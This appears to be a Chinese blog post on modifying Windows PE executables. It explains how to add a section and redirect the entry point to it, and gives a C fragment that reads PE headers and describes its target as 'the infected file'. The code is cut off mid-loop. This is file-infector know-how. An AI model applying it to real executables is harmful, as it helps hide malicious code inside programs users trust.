PE文件的修改以及增加节区

修改入口函数地址。这个是最省事的办法,在原PE文件中新增加一个节,计算新节的RVA,然后修改入口代码,使其指向新增加的节。当然,如果.text节空隙足够大的话,不用添加新节也可以。

BOOL ChangeOEP(CString strFilePath)   
{   
    FILE*                   rwFile;                     // 被感染的文件   
    IMAGE_SECTION_HEADER    NewSection;                 // 定义要添加的区块   
    IMAGE_NT_HEADERS        NThea;                      //    
    DWORD                   pNT;                        // pNT中存放IMAGE_NT_HEADERS结构的地址   
    int                     nOldSectionNo;   
    int                     OEP;   
       
    if((rwFile=fopen(strFilePath,"rb"))==NULL){         // 打开文件失败则返回   
        return FALSE;   
    }   
       
    if(!CheckPE(rwFile)){                               // 如果不是PE文件则返回   
        return FALSE;   
    }   
       
    fseek(rwFile,0x3c,0);   
    fread(&pNT,sizeof(DWORD),1,rwFile);   
    fseek(rwFile,pNT,0);   
    fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile);    // 读取原文件的IMAGE_NT_HEADERS结构   
    nOldSectionNo=NThea.FileHeader.NumberOfSections;    // 保存原文件区块数量   
    OEP=NThea.OptionalHeader.AddressOfEntryPoint;       // 保存原文件区块OEP   
    IMAGE_SECTION_HEADER    SEChea;                     // 定义一个区块存放原文件最后一个区块的信息   
    int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;   
    int FILE_ALIG=NThea.OptionalHeader.FileAlignment;   // 保存文件对齐值与区块对齐值   
    memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));   
    fseek(rwFile,pNT+248,0);                            // 读原文件最后一个区块的信息   
    for(int i=0;i


你可能感兴趣的:(技术文章)